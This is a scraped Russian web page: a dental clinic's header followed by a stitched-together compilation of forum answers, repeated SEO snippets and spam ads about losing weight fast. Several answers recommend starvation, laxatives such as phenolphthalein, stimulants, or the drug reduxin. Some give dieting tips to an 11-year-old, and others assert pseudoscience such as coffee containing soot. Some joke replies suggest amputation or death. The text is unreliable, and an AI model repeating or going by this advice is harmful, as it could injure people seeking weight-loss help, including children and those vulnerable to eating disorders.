Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Что реально помогает похудеть?

Я обчно скидываю вес и поддерживаю его только методом исключение сладкого, мучного, жирного и жареного. Спортом не занимаюсь. Сейчас ток с отдыха прилетела, набрала там 3 кг, прошла неделя, но скинуть наеденое не получается (((

С воодушевлением начав борьбу с лишним весом, с течением времени мы утрачиваем былой энтузиазм и последним усилием воли выбрасываем из головы мысли А может бросить эту диету? Похудение процесс, безусловно, не легкий, и помочь в нем призваны аптечные средства.

Так мало можно и на кефире сбросить

Это все конечно неплохо, но с системой дробного питания не сравниться. Сбрасываешь 5-7 кг недели за две-три и вес не возвращается. Итак.. .
Нельзя есть жирного, сладкого, сильно соленого, печеного, копченого, жареного.
Ешь и пьешь каждые 2 часа по 200 гр (приблизительно) одного продукта. Например:
10.00- 200 гр морковного сока
12.00- 200 гр куриного бульона
14.00- 200 гр вареного куриного мяса
16.00- яблоко весом 200 гр
18.00- ну не знаю... допустим огурец)
20.00- 200 гр нежирного кефира
Воды, чая, кофе можно пить сколько угодно (не меньше 3 л) , но хотя бы за час до еды.

На диетах этих вечно ты седеть не сможешь. Неделю ты например будешь есть одни фрукты, похудеешь не спорю, но потом ты ведь перейдёшь на обычное питание и всё вернётся. Но и не обязательно всю жизнь изнурять себя тренировками, чтобы похудеть, можно просто исключить белый хлеб и не так сильно увлекаться сладким и жареным, ну и двигаться постоянно.

Чтобы похудеть нужно не временно садится на диету, а полностью менять образ питания и жизни. Есть столько сколько требует организм и то что ему нужно.
Хороший пример это белый и темный сахара. Белые углеводы быстро впитываются и расходуются на экстренную физ нагрузку - бег, спорт, поднятие тяжестей. А темные сахара медленно усваиваются и тратятся на постепенную нагрузку, ходьба, рукотворчество (кулинария и тп) .
Женщинам обычно больше требуются темные углеводы, так как экстренной нагрузки у них намного меньше чем у мужщин и девочек.
белые сахара - сахар, рис, белые яблоки (голден например) и другие бесцветные углевод содержащие продукты
темные - гречка, цветные фрукты и тп

Мой рецепт похудания: творог 0% с ягодами или фруктами, глазунья или омлет с помидорами и зеленью, варёная курица без кожицы, любая рыба отварная, окрошка на кефире с овощами и зеленью, щи без картошки и мяса, салаты из сырых овощей и зелени, все ягоды не исключая малину, коктейль из клубники с обезжиренным молоком и льдом, икра из запеченных баклажанов и кабачков с помидорами, фрукты все кроме винограда, арбуза и дыни, один банан можно, персик и абрикос . в сутки 3 чайные ложки подсолнечного или оливкого масла, без масла откажет печень. чай с 1 чайной ложкой мёда, кофе исключить :замедляет обмен веществ, так как содержит одну сажу и может вызвать тошноту, исключить мучное, сладости, жиры. за 2 недели минус 7 10 кг, активное движение, бассеин, танцы, прогулки и сон 9 часов во сне сжигается жир

Помогите похудеть В этой категории.Быстрый способ похудеть за 10 дней Два быстрых способа похудеть - за 10 дней на 5 кг.

Самая лучшая диета и главное очень хорошо для организма. . ..
На любой огуречной диете, вы не только худеете, но и нормализуете обмен веществ в организме. К тому же именно эта диета легка в соблюдении, потому что чувство голода просто не должно возникнуть. А за первые два дня потеря веса составит минимум — 1 килограмм! За всю неделю соблюдения огуречной диеты можно потерять до 6 килограмм.
На такой диете пить можно воду (желательно минеральную, опять же, для пользы здоровью) и зеленый чай
Меню огуречной диеты на 7 дней.
Меню первого дня диеты .
Завтрак: кусок ржаного хлеба; два огурца.
Обед: постный суп из свежих овощей; одно яблоко.
Полдник (по желанию) : один апельсин.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню второго дня диеты. .
Завтрак: кусок ржаного хлеба, один огурец.
Обед: 50 грамм отварной говядины, салат из редиса и огурца.
Полдник (по желанию) : одно яблоко.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню третьего дня диеты. .
Завтрак: кусок ржаного хлеба, два огурца.
Обед: 100 грамм отварной рыбы, 100 грамм отварного риса; один соленый огурец.
Полдник (по желанию) : один огурец.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню на четвертый день огуречной диеты.
Завтрак: кусок ржаного хлеба; один огурец.
Обед: 100 грамм отварного риса; огурец; 20 грамм сыра твердых сортов.
Полдник (по желанию) : одна груша.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню на пятый день диеты. .
Завтрак: кусок ржаного хлеба; два огурца.
Обед: овощной салат из огурца, капусты, моркови и редиса; один апельсин.
Полдник (по желанию) : одно яблоко.
Ужин: салат из огурца и зелени с заправкой растительным маслом; 20 грамм сыра твердых сортов.
Меню на шестой день огуречной диеты. .
Завтрак: кусок ржаного хлеба; один огурец.
Обед: овощной суп, одно яйцо; одна груша.
Полдник (по желанию) : один мандарин.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню на 7 день диеты.
Завтрак: кусок ржаного хлеба; два огурца.
Обед: овощной суп, одно яблоко.
Полдник (по желанию) : один огурец.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Кстати, на какой бы диете вы не сидели, не забывайте принимать комплекс витаминов, обогащенный минералами, ведь исключительно на одних огурцах, организм ощутит нехватку столь необходимых для его нормального функционирования веществ.
УДААААЧИ.

Правильно питайся, исключи жирное, мучное, сладкое, газ воду и пр. Устраивайте разгрузку раз в 1-2 недели, Удачи!)

Без сладкого, без хлеба, но с регулярным хорошым питанием до 2 кг в неделю с физ. нагрузками (средними)

Какая диета Вам лично помогла быстро похудеть? Их такое множество, мне надо убрать объемы.

НМЖ, Самая эффективная диета, которая мне помогает всегда.

Помогите кто чем может, быстро похудеть! Советы с форумов девчонки искренно рекомендуют то, что проверили на себе.

Утром ешь хорошо, в обед как положено до икоты не следует есть, часов в пять лёгкий полдник, в семь ужин лёгкий. А потом ничего не кушать.

Меньше жрать и спортом заниматься.

Диета Дюкана

Правильное питание с урезанием дневной нормы калорий. За 4 месяца минус 20 кг.

Я выбрала правильное питание и подсчет калорий

Недавно диетологи развенчали миф о чудесном эффекте ананасовой диеты. Теперь у них новый фаворит лимон. Каковы же золотые правила лимонной диеты?

Магическая диета, питьева, Магги, ABC

Я слежу за калорийностью в программе Килоконтроль, если вам угодно можете назвать это "диетой", скинул более 30 кг. , ем 5 раз в день всё то что люблю, пиво пью по выходным. Удачи!

Найди в интернете книгу "Худеем интересно" автор Ковальков, там меню на каждый день расписано, сам щас по ней худею прошло 8 дней -6,75 кг незнаю как дальше пойдет но пока вроде быстро.

Есть программа управления весом, основанная на употреблении каш из семян льна. В первую очередь уходят объёмы . Подробности на почту

Как мама двоих детей я знаю, что очень сложно бороться с лишним весом при таком образе и ритме жизни. Перепробовала множество “чудодейственных средств” в виде таблеток, ягод годжи, зеленого кофе, редуксинов, чаёв, платырей и примочек. Заявляю категорически – кроме вреда для здоровья и временного снижения веса с последующим его набором – абсолютно никакой пользы! Около года назад мне порекомендовали Сергея Сивца. Это оказался первоклассный специалист по фитнесу и один из лучших диетологов Москвы. И просто хороший, отзывчивый человек. Очень рекомендую программы питания и программы тренировок Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные. Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Поэтому, задаваясь вопросом как быстро похудеть, задумайтесь о правильном употреблении жидкости.Но есть люди, которым воду пить не вкусно или она им не помогает !

Какая диета поможет быстро похудеть?

Заниматься спортом. И не есть жирную пищу. И не голодать!

Но не стоит думать, что самая быстрая диета для похудения поможет в дальнейшем сохранить достигнутые результаты.Как правильно похудеть так, чтобы не навредить своему здоровью и...

Можно попробовать диету Дюкана

Бич пакеты не когда не есть!!!! кремлевку попробуй и бег

Купив скандинавские палки и проходив 6 месяцев по 10 км через день, убрал 18 кг. я спортсмен со стажем, обычный человек сбросит больше


Дюкан, на этой диете похудение, у меня за год -25,быстро не надо, вредно

5. Ешьте больше растительных волокон клетчатки , которые содержатся во фруктах, овощах, цельнозерновом хлебе, кашах, отрубях - это тоже поможет быстро похудеть.

Я предпочитаю подсчет калорий

Бичпакеты я думаю убрать и есть не больше 1200 ккал!!!

Могу рассказать как похудеть за 10 дней на 5 кг, за 2 месяца на 15 кг, за 6 месяцев на 30 кг, подробнее пишите в личку или по емейл elenastron@yandex.ru

Ну если с хлеПцами - то конечно поможет!!!))))))) )
а вообще хлепцы это хорошая вещь главное состав читай чтоб они были без жира и сахера! и на сайте айрекоменд почитай про гречневую диету!! ! она вообще супер!!!!

Как похудеть быстро и легко? Помогите

Изнасилование, шок, пиздюлина.

Как похудеть к купальному сезону? Предлагаем 14 эффективных советов, которые помогут сделать свой рацион более полезным и менее калорийным.

Не жрать.

Как бы это не звучало грубо, но чтобы быстро похудеть, надо закрыть рот.. . Да да. Это так, поскольку наша еда - это наш жир, наши проблемы со здоровьем. Я например могут похудеть на 3 кг за неделю, если сутра съедаю геркулесовую кашу, поскольку она выводит шлаки и холестерин, ужинаю не позже 6 вечера, на ночь кефир. Все остальное вареное, тушеное не жирное. А вообще читайте это полезно

Быстро и легко не получится :) Накушала попу неделями, а похудеть хочешь быстро? Чудес не бывает :)
Попробуй для начала вареные яйца с капустой или с помидорами- на завтрак, на обед- куриную грудку с капустой. И приседай с широко расставленными ногами! Сколько сможешь!
Можно еще вместо яиц и куриной грудки- обезжиренный творог (это уже на выбор) . И пей поливитаминный комплекс, чтобы не было тяжких приступов голода.

Никак прикуй себя к батарее, а рот заклей скотчем

Поль Брэгг - Чудо голодания http://rutracker.org/forum/viewtopic.php?t=3142634
А если хотите действительно заняться здоровьем о котором ни когда и не мечтали то http://www.youtube.com/watch?v=PFxz9ziRTPE
Далее сами найдёте литературу по теме...

Обязательно нужно обратиться к специалистам! Самостоятельно можно худеть только СКЛОННЫМ к этому людям! Если у Вас есть какие-либо противопоказания, то рискованно проводить эксперименты на себе.. . Опыт обращения к Др.

Если бы все знали как быстро худеть, все бы давно уже были стройными))))))))))))

Быстро - никак.
спортом надо заниматься и правильно питаться

Посмотри блог "Брина", года два назад худела с ним .Медленно но верно, фигура изменилась и подтянулась. Думаю, если сил хватит, то будешь довольна.

Умереть.

Меньше жрать

Чай Поможет похудеть быстро и эффективно. 20 грамм листа сенны, 20 грамм одуванчика лекарственного, 20 грамм крапивы двудомной, 20 грамм свежей петрушки...

Было бы, просто и легко-то, не было бы толстых. Сумела набрать вес-теперь, терпеливо-сгоняй: поменьше-сладкого и жирного, долой-деликатесы;
до и после еды-прием имбиря (сухого, молотого), на кончике ножа, запивая горячей водой. Стрессы-не заедай, а-запивай имбирным чаем.

Не стоит увлекаться новомодными диетами. Таблетки для похудения, может, и притупляют на время аппетит, однако организм быстро к ним привыкает. В результате либо возвращается аппетит, либо замедляется обмен веществ и ты снова набираешь вес, либо возникают какие-то побочные эффекты — головокружение, высокое давление, тревожные расстройства и даже медикаментозная зависимость. То же самое можно сказать и о мочегонных средствах, и о препаратах, ускоряющих обмен веществ.
Сбалансированное питание и умеренная, но регулярная физическая нагрузка, напротив, помогут тебе чувствовать себя и выглядеть как можно лучше. В меру занимаясь фитнесом несколько раз в неделю, ты обязательно почувствуешь результаты. Порой достаточно даже быстрой ходьбы или подъема по ступеням.

Ни есть, ни жрать, и бухать только пиво, очень быстро похудеешь

Как похудеть быстро. помогите мне 11 лет и я вешу 65 кг я хочу похудеть помогите

Спорт спорт и еще раз спорт + диета

13.Как можно очень быстро похудеть. Физическая нагрузка поможет похудеть быстро. Ни для кого не секрет, что спорт помогает сжигать лишние калории.

Меньше есть, больше двигаться

Вам к врачу.

Ты ещё ребёнок.
растущий организм.
вес этот очень нужен для нормального развития.
так что худеть пока не стоит)
просто можешь заняться спортом, что-бы держать себя в форме)

Спорт

В этом возрасте КАТЕГОРИЧЕСКИ НЕЛЬЗЯ применять диеты и лекарства, идёт гормональная перестройка, инвалидом можешь стать. Единственный вариант - занятие спортом. Но БЫСТРО не получится

Какие травы действительно помогают похудеть?Главный недостаток похудения на травах это быстрое привыкание.

Попробуй походить на детский фитнес

Замени пищу (по возможности) . фруктами и овощами. нет сладкого нет булочек и хлеба. если продержишься неделю-будет результат.

Не тупи пацан, считай сколько в день калорий съел на продуктах написано, например съедаешь 1500 ккал в день, уменьши на 200 и через неделю посмотри сколько ты будешь весить в неделю по 500 грамм сбрасывай и норм

Я вешу 76 мне четырнадцать и это мышцы спорт спорт спорт и незабывай учится.

Надо полностью отказаться от булки и сладкого. Сосиски и колбасу тоже не есть. Черный хлеб можно, но только понемногу. Все порции убавить наполовину, если они у тебя как у взрослого. Заместо картошки и макарон кушать овощи тушеные или даже сырые. Прекратить просиживать за компьютером, а вместе с мамой, папой больше бегать по улице.
Быстро похудеть не получиться, потому что слишком долго тебя за кар мл ив али вкусненьким.

Быстро похудеть поможет отказ от ужина. Завтракай плотно, обедай поздно, а вместо ужина выпивай стакан кефира или съедай овощной салат.

Как похудеть быстро без физических упражнений?помогите пож..может кто похудел так))

Стимуляторы

Как быстро похудеть к Новому году процедуры красоты. Если вы не посещаете салон, ничего страшного.Это поможет вашему кровообращению быстрее удалить токсины из тканей, и...

Хочешь похудеть-ХОДИ. Именно во время ХОДЬБЫ сжигается жир, это установили учёные. Каждый день не менее часа ХОДИ быстрым шагом. ХОТЯ БЫ МЕСЯЦ не ешь САХАР, РИС, КАРТОШКУ, ХЛЕБ, через месяц по одежде увидишь, что похудела-объёмы твоего тела заметно уменьшатся. Одежда на тебе болтаться будет. УДАЧИ!

Ну как хоть без физ нагрузки?? ? Это только по взмаху волшебной палочки может удаться ..

Никак!! !
Лень есть смерть нации.
Все хотят нех неделать и быть кем то Особенным.

Перед едой выпевайте кружку воды можно и после (минусы будите потеть часто ) похудеете быстро (при этом есть можно что угодно ) но лучше будет если вы к примеру будите прыгать на скакалке хотя бы 100 раз в день я сама так похудела пила жидкость ела мало и все что хочется СОВЕТ : НЕ ПЕРЕУСЕРДСТВУЙТЕ В ДОЗЕ ВОДЫ ТАК КАК ВЕС БУДЕТ СНИЖАТЬСЯ СТРЕМИТЕЛЬНО МОЖНО ЗАГРЕМЕТЬ В БОЛЬНИЦУ !

Похудел на 15 кг за три месяца.. . просто стал есть мясо без гарниров, и почти без хлеба.
+ никакой газировки
+поменьше сладкого чая с сахаром.. . его легко заменяет варенье, мед, можно и 30-50 гр амаретто
+больше ходить пешком
+не психовать вообще.. . при стрессе и психах организм резко накапливает жир.. своеобразный инстинкт нашего организма) )
+никакого сливочного масла и печенья

Как быстро похудеть в домашних условиях? Как же хочется быть красивой и стройной!Приятное и легкое кручение обруча поможет вам держать себя в форме.

Я похудел за 2 месяца на 10 кг. Скинул пузо и бока.
Правда руки тоже ушли)
Был 72, стал 62)
Правда потом решил немного набрать.
Сейчас 65.
Диета Дюкана.

Как бы похудеть, но чтобы с дивана не вставать???? Чуде на свете НЕ БЫВАЕТ!!!!

Коралмайн+коловада

Я например при росте 176 и весе 95.8 похудел с 16 мая по сегодня до 86.1. Никаких тренировок, бега, пресса и т. п до той пятницы. Питание если просто - утро углеводы, обед белки и минимум углей, вечером только белок. Порции примерно по 100-200 грамм. Если подробней с утра каша (лучше овсянка или мюсли) , обед макароны с 100 гр говядины варенной, ужин рыба нежирная ( ужин у меня в 6, потом творог обезжиренный в 8 и все) , советую первые три дня пить меньше воды, потом можно больше но не налигать, что бы справиться с жаждой лучше теплую воду пить. Исключить из рациона хлеб, рис, свинину, сахар и сахарозаменитель, жаренное нельзя, газировки и соки тоже, масло, чай только зеленный! основной плотный прием пищи утро, есть надо в одно и тоже время, во время перекусов можно овощи и фрукты, но не более штуки за раз и после ужина нельзя. Можно купить рыбий жир, самый дешевый наш отечественый 50 рублей, поможет сбросить вес, если сильно хочется сахар в чай - можно добавить мёд. Эта диета примерно на 7мь недель, дольше ненужно, входить в неё и выходить из неё надо плавно, постепенно переходя на правильный продукт, потом уменьшая порции, т. е. взвесил все что съел за день, перешел на диету и съедаешь столько же. Потом меньше, меньше, меньше.... Достаточно убавить так как я написал выше. По 200 гр на прием пищи. . В выходные можно скушать немного тортика, пирожок, чай с сахаром попить, но все это только днем, желательно в обед. Я себе так позволяю раза два в неделю. Грамм 200 водки и 200 сока Вообще это спорт диета направленная на то что бы не терять мышцы при похудении. Думаю тебе не хочется что бы ноги и попа стали меньше. Если не хочется быстро посмотри ответ Никиты Степанова. Удачи!

В этой статье вы найдете ответ на свой вопрос - http://www.hacklife.ru/kak-bystro-poxudet/ .

Имбирь поможет быстро похудеть. Эта имбирная диета для похудения прекрасно подходит тем...

Как быстро похудеть ?

Быстро сбросить поможет низкоуглеводное питание, акцент на белковые продукты. (творог, мясо, рыба, курогрудка, белок куриного яйца)
Суть в том, что для переработки белка, организму нужна энергия, он обычно берет ее из потребляемых углеводов, поскольку мы их не едим, он берет энергию из запасов.
Но учитывайте, что подобное питание, это большая нагрузка на почки. Поэтому необходимо пить достаточное количество чистой воды, примерно 2 литра.
А для нормального пищеварения нужно добавить клетчатку, это свежие овощи. (капуста, огурцы, сельдерей, вся зелень) .
Так же выход из этого питания должен быть таким: постепенно добавляем углеводы, начиная с завтрака.
Вес уходит очень хорошо. Но без изменения пищевых привычек, он так же быстро вернется. Поэтому лучше всего с этой диеты перейти на правильное питание и питаться так всю жизнь.
А еще лучше - сразу худеть на правильном питании совместно со спортом.
Красивое тело и здоровье обеспечены.
Все получится, желаю удачи!

Как можно быстро похудеть? Предлагаем вашему вниманию несколько идей.Справиться с лишним жирком вам помогут аэробика, спортивная ходьба, теннис, бег.

Как мне похудеть на 4 килограмма быстро (помогите: () (помогите: ()

Быстро - нельзя, ибо вредно для здоровья. А чтобы наверняка - необходимо соблюдать режим дня и питания. Ограничить себя в мучном и сладком. Регулярно заниматься спортом.

Все хотят сбросить лишний вес быстро и легко. Но мало кто знает рецепт этого напитка. Люди с лишним весом, сами того не ведая, ставят свою жизнь под угрозу.

Не ешь не чего и понюхай

Как быстро похудеть?

Быстро сбросить поможет низкоуглеводное питание, акцент на белковые продукты. (творог, мясо, рыба, курогрудка, белок куриного яйца)
Суть в том, что для переработки белка, организму нужна энергия, он обычно берет ее из потребляемых углеводов, поскольку мы их не едим, он берет энергию из запасов.
Но учитывайте, что подобное питание, это большая нагрузка на почки. Поэтому необходимо пить достаточное количество чистой воды, примерно 2 литра.
А для нормального пищеварения нужно добавить клетчатку, это свежие овощи. (капуста, огурцы, сельдерей, вся зелень) .
Так же выход из этого питания должен быть таким: постепенно добавляем углеводы, начиная с завтрака.
Вес уходит очень хорошо. Но без изменения пищевых привычек, он так же быстро вернется. Поэтому лучше всего с этой диеты перейти на правильное питание и питаться так всю жизнь.
А еще лучше - сразу худеть на правильном питании совместно со спортом.
Красивое тело и здоровье обеспечены.
Все получится, желаю удачи!

Как быстро похудеть методики. Помогите похудеть с таким криком о помощи мы обращаемся к диетологам в надежде найти универсальное средство снижения веса.

Ампутация, липоксация

Что пить чтоб похудеть быстро? помогите мы с мужем очень хотим похудеть (

Займитесь спортом

Узнайте о самой эффективной диете для похудения или кaк быстро похудеть.Сами себе помогите похудеть не стоит питаться подобной ерундой понемножку, но целый день.

Фенолфталиин.

Пурген!

Если вдвоем, то диета дюкана вам в помощь. Одному сложно на ней сидеть, хорошо помогает.

Если Вы о таблетках, добавках - то ничего. Эффекта не будет, только деньги потеряете и здоровью навредите. Необходимо есть часто, но мало и с умом, размеренно, заниматься спортом - вот тогда будет результат.

Есть 2 типа людей 1худеют на диете
2 на спорте
я на спорте летом бегала утром и вечером по часу -9кл, вроде даже не потела))!

С воодушевлением начав борьбу с лишним весом, с течением времени мы утрачиваем былой энтузиазм и последним усилием воли выбрасываем из головы мысли А может бросить эту диету? Похудение процесс, безусловно, не легкий, и помочь в нем призваны аптечные средства.

Друг друга на горбу таскать

Спорт, спорт и еще раз спорт. И здоровое питание

Жрать меньше надо бля!

Очень рекомендую программы питания и программы тренировок диетолога Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные и недорогие. Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Я принимала редуксин. Хороший, недорогой и эффективный. В месяц 5 кг минус. Если спортом активно заниматься, то и больше скинуть можно. Главное ест ь не хочется и на правильное питание легко перейти и потом не поправится

Помогите похудеть В этой категории.Быстрый способ похудеть за 10 дней Два быстрых способа похудеть - за 10 дней на 5 кг.

Адипокилл в спорт магазе но спорт+пп! Тогда комплексно поможет!

Энерджи Диет - и будет Вам счастье похудения... Подробности в личку

Похудеть срочно! помогите похудеть к школе.можно ссылки.

Питьевая диета и спорт: )
Если захочешь, можешь написать мне. Я также страдаю лишним весом. Будем худеть вместе :)

Помогите кто чем может, быстро похудеть! Советы с форумов девчонки искренно рекомендуют то, что проверили на себе.

Утром сложные углеводы. в обед овощи с растительным маслом, вечером нежирный белок (куриная грудка, отварная рыбка, яичко) ничего сладкого, жирного, жареного. на ночь стакан обезжиренного кефира.

Спорт

Правильное питание + спорт. Быстрые диеты не помогут, не пробуй.

Привет девочки ктото же из вас както похудел скажите как без всяких диет похудеть быстро. плиз мне очень надо помогите

Бегай, если на диете сидеть не хочешь.

Недавно диетологи развенчали миф о чудесном эффекте ананасовой диеты. Теперь у них новый фаворит лимон. Каковы же золотые правила лимонной диеты?

В 13 лет полностью отказалась от сладостей и от телевизора. Помогло.

Ходи всегда пешком, ешь 5 раз в день по 200 гр, то есть стакан. после 18.00 пей кефирчик.

Покупка абонемента в тренажерный зал поможет! Диеты не помогут - только правильное сбалансированное питание, часто, маленькими порциями, с минимумом углеводов.
Добавьте ежедневные кардионагрузки - и вскоре увидите результат.

Без диеты в любом случае никак!

Нужно срочно похудеть! Помогите, пожалуйста!!!

Правильное питание, налегай пока лето на овощи и все, пей больше воды обычной, сладкое, мучное забудь! обруч крутите мин 30 в день не меньше (бока чтоб убрать), пресс качайте, прогуливайтесь (ходите много), кушайте мало, но почаще, и лучше если так хотите похудеть, только овощи и фрукты

Поэтому, задаваясь вопросом как быстро похудеть, задумайтесь о правильном употреблении жидкости.Но есть люди, которым воду пить не вкусно или она им не помогает !

Разнообразная диета
_____________________________________
Диета на 12 дней.
-8, -10 кг.
Первый день диеты – кефирный
______________________________________
Вы можете выпить один литр кефира, жирность которого может быть до 2,5%. Также разрешается пить чай, который должен быть заварен на полезных травах.
Второй день диеты – цитрусовый
______________________________________
Вы можете съесть до пяти апельсинов большого размера. Некоторые из них разрешается заменить один грейпфрутом, двумя – тремя мандаринами. Помните о том, что даже фрукты нужно кушать в ограниченном количестве, ведь они могут быть сладкими и содержать повышенное количество калорий. Пейте травяной чай, который может быть очень полезным.
Третий день диеты – творожный
______________________________________
Вы можете съесть семьсот пятьдесят граммов творога низкой жирности. Пейте несладкий чай, который должен быть заварен на травках.
Четвертый день – кабачковый.
______________________________________
Вам разрешается съесть 0,5 литра кабачковой игры. Вы снова можете пить несладкий чай, заваренный на полезных травах.
Пятый день – шоколадный
______________________________________
Вам можно съесть не больше одной плитки черного шоколада. Вес не должен превышать ста граммов. Выпейте травяной чай, обладающий полезными свойствами.
Шестой день – яблочный
______________________________________
В этот день вы можете съесть до полутора килограммов кисло-сладких яблок. Важно отметить то, что в них содержится повышенно количество витаминов, поэтому вы сможете сразу заметить улучшение самочувствия. Выпейте травяной чай без добавления сахара.
Седьмой день – сырный день
______________________________________
Вам разрешается съесть триста граммов твердого сыра, который должен быть нежирным. Вы по-прежнему можете пить зеленый чай либо травяной чай. Главное, чтобы вы не добавляли сахар!
Восьмой день – овощной
______________________________________
Вы можете кушать много овощей либо приготовить овощной салат без использования заправки. Также разрешается выпить не больше одного литра томатного сока, несладкий чаек, который должен быть заварен на полезных травах.
Девятый день – мясной
______________________________________
Разрешается съесть четыреста граммов нежирного отварного говяжьего мяса. Также вы можете выпить чай, который должен быть заварен на полезных травах.
Десятый день – салатный
______________________________________
Вы можете кушать овощной салат с добавлением растительного масла. Для его приготовления используйте капусту, помидоры, огурцы, укроп, петрушку, сельдерей. Кроме этого, разрешается пить травяной чай.
Одиннадцатый день – творожный
_______________________________________
Вы можете съесть 750 грамм творога низкой жирности и выпить несладкий травяной чай.
Двенадцатый день – сливовый
_______________________________________
Разрешается съесть не больше 500 граммов чернослива, который должен быть распаренным. При желании вместо него можно съесть до одного килограмма средних не очень сладких слив. Обязательно выпейте травяной или зеленый чай.

Так возьми и сделай ..естественно, само не станет.. меньше ешь и больше физ нагрузок..

Как похудеть? Срочно) Помогите)) Пожалйсто)))

Гречневая диета самая эффективна на данный момент ) почитайте здесь http://www.azbukadiet.ru/2008/05/05/grechnevo-kefirnaya-dieta.html

Но не стоит думать, что самая быстрая диета для похудения поможет в дальнейшем сохранить достигнутые результаты.Как правильно похудеть так, чтобы не навредить своему здоровью и...

На пляж собрался? ) прекратить кушать всё... питатся травой минимум и всё будет норм

Не жрать много, все в микродозах, хлеб исключить, позывы к голоду зажевывать капустой и ходить быстрой походкой много, так как физичиские упражнения с голодухи будет тяжко делать

Как похудеть по быстрому помогите муж бросил.

Хотите вот так?

5. Ешьте больше растительных волокон клетчатки , которые содержатся во фруктах, овощах, цельнозерновом хлебе, кашах, отрубях - это тоже поможет быстро похудеть.

Лисси Мусса " делаем из тушки фигурку" после этой книги 5 новых найдешь . Удачи!

А не послать ли тебе такого мужа куда подальше ?!

Быстро похудеть никак не получится. А муж бросил Вас, значит он Вас не достоен.

Правильное питание. Не ешьте после 6. Занимайтесь спортом.
А быстро худеть не советую, только здоровье испортится. Удачи!

Худобой мужа не вернешь

Как похудеть к купальному сезону? Предлагаем 14 эффективных советов, которые помогут сделать свой рацион более полезным и менее калорийным.

«Добрый день! После родов я поправилась на 30 кг, с 60кг у меня стало 90...Было очень тяжело и ходить и дышать.. . Я даже пробовало разные таблетки, да помогло мгновенно, но это не надолго и вес набирается в 2 раза быстрее после того как перестаешь пить. Самый лучший способ это раздельное питание и спорт. Я не изнуряла себя в тренажерном зале. Результаты меня поразили. Они не мгновенные, через месяц я увидела первые скинутые килограммы. За год сидя на раздельном питании я скинула весь лишний вес. Уже год я на ней на сижу, и не единого грамма я не набрала. Удачного дня)
(Если Вам нужны личные рекомендации пишите отвечу на все вопросы)
Адрес моего блога:
С ув. Свинцицкая. Е. О»

Лилия, по быстрому не надо, потому что могут быть плохие последствия от опущения органов, до заболевания щитовидки.
Вы просто откажитесь от вредных продуктов, не ешьте после шести вечера.
Еще советую обратить внимание на "систему -60". По этой системе до 12 дня можно есть все что угодно, а после 12 только низкокалорийную пищу. почитайте об этой системе в интернете.

Если у Вас вес действительно лишний, - уберите хлеб, сухари, баранки, колбасы, сосиски, кур (им дрожжи подмешивают в корм, правда, не везде) - все, что содержит недоубитые дрожжи. Похудение начнется через месяц, когда дрожжи выведутся из организма. Через месяц же можно снизить калорийность. В дальнейшем вес не набирается. Из собственного опыта.

Бодифлекс попрубуйте будете как конфетка

Как похудеть срочно?

Срочно тока топор поможет

Обязательно нужно обратиться к специалистам! Самостоятельно можно худеть только СКЛОННЫМ к этому людям! Если у Вас есть какие-либо противопоказания, то рискованно проводить эксперименты на себе.. . Опыт обращения к Др.

Есть только не жирную пищу и пить больше воды....

Рецепт только один - НЕ ЖРАТЬ!


Устроить голодовку с регулярным ( 3 раза в день) приёмом слабительного )))
А может не стоит? ))

Не есть ничего, в чем содержится сахар и мука )))) читайте этикетки .

Чай Поможет похудеть быстро и эффективно. 20 грамм листа сенны, 20 грамм одуванчика лекарственного, 20 грамм крапивы двудомной, 20 грамм свежей петрушки...

Нижрать!!!!

Как похудеть быстро и без диет. помогите

Пластырем рот заклеять-очень помогает! это моя тренер по фитнессу так говорит

13.Как можно очень быстро похудеть. Физическая нагрузка поможет похудеть быстро. Ни для кого не секрет, что спорт помогает сжигать лишние калории.

Утренний бег и после 18.00 не есть

Быстро это неделя? В спортзал, часа по 2, 2 раза в день. бег, вело, +плавание часа 2

Попробуй не кушать после 6 хотя бы одну неделю, поверь почувствуешь себя легче через 2 дня! ПРОВЕРЕННО

Без коррекции питания никак... перейдите на правильное питание... это образ жизни а не диета

Найди домик в деревне, заброшенный и поживи там на пару недель. А лучше чтоб там кто-то из стариков беспомощных жил. Пока всю работу по дому поделаешь, не до еды будет, и за фитнес платить не нужно, дров поколешь, воду поносишь ( для стирки) , по хозяйству старикам поможешь - порядок!

Какие травы действительно помогают похудеть?Главный недостаток похудения на травах это быстрое привыкание.

Во первых питание, исключите жирное, мучное. побольше фруктов. Кстати яблоки – самый популярный, полезный и доступный продукт для того, чтобы эффективно снизить вес.
Во вторых если нет времени ходить в зал, то хотя бы элементарно поделайте дома через день: приседания, пресс, обруч.
Физическая активность помогает эффективно похудеть и ускоряет процесс снижения веса.

Быстро - то зачем ?

Отрезать руку. или ногу. по желанию, что не жалко.

Как похудеть быстро помогите! Скажите как похудеть быстро! пожалуйста мой вес 90 рост 180

У моей подруги рост 175, до некоторых пор выглядела она довольно стройной. Но вот после того, как устроилась на gjcnjzyye. работу и начала вести сидячий образ жизни по 10 часов в день - стала заметно поправляться. Около 25кг за 3 месяца. И вот когда уже мои намеки по поводу ее фигуры переросли чуть ли не в ежедневные насмешки, вот тогда она этой проблемой всерьез озадачилась.
Одна наша общая знакомая ей посоветовала пройти процедуры иглоукалывания. Мне это сначало как-то странным показалось, но после пары сеансов моя любимая реально начала скидывать килограммы. За месяц на 15 кг похудела. И говорит это только начало) Теперь вот всем советует именно эту методику. Подробнее можете почитать о ней тут: http://www.freemove.ru/services/antives.php .
Теперь вот думаю сам попробовать, мой вес тоже не идеален, придется исправляться..

